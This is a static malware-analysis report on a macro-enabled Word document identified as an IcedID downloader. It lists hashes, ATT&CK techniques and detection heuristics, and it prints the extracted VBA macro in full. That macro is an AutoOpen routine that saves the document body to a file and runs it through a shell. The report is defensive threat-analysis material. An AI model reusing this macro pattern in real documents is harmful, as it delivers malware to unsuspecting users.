IcedID — Office (OOXML) malware analysis

Static analysis result for SHA-256 0ea83eaa57aac1e2…

MALICIOUS

Office (OOXML)

33.6 KB Created: 2021-10-15 06:59:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-10-26
MD5: 7114763a52e7c6f7cb665d2db0f43c74 SHA-1: 1089fd3090d5c794a26f275a6eb2d85b41108f88 SHA-256: 0ea83eaa57aac1e2a8b166fee3c7559b2e3a393675fe9329fd98125bcb9ea055
162 Risk Score

Malware Insights

IcedID · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample is an OOXML document containing a VBA macro with an AutoOpen subroutine. This macro saves the document as a text file and then executes it using the Shell function. The ClamAV detection explicitly names this as IcedID, a known banking trojan and downloader. The obfuscated document body content appears to be a base64 encoded string, likely a lure.

Heuristics 5

  • ClamAV: Doc.Downloader.IcedID-8ff0f02ff0876072-9950256-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.IcedID-8ff0f02ff0876072-9950256-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 784 bytes
SHA-256: de6f529dd6802312cfda832235e81a95ce73c1412e1335598226ad3da707cad9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "func"
Public Function s(seaMy)
Set inKingYou = New WshShell
inKingYou.run seaMy
End Function

Attribute VB_Name = "main"
Public Sub autoopen()
Dim youRedIn As String
youRedIn = vbNullString
inSeaLady = ActiveDocument.BuiltInDocumentProperties("author").Value
With ActiveDocument.Content.Find
.Execute FindText:="#)", ReplaceWith:=youRedIn, Replace:=wdReplaceAll
End With
ActiveDocument.SaveAs2 FileName:=inSeaLady, FileFormat:=wdFormatText
s inSeaLady
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 14848 bytes
SHA-256: 229977dbfe4edb9f55c7bf0a0da2884a06504a0a171ad9789cee1587c9cfe3a7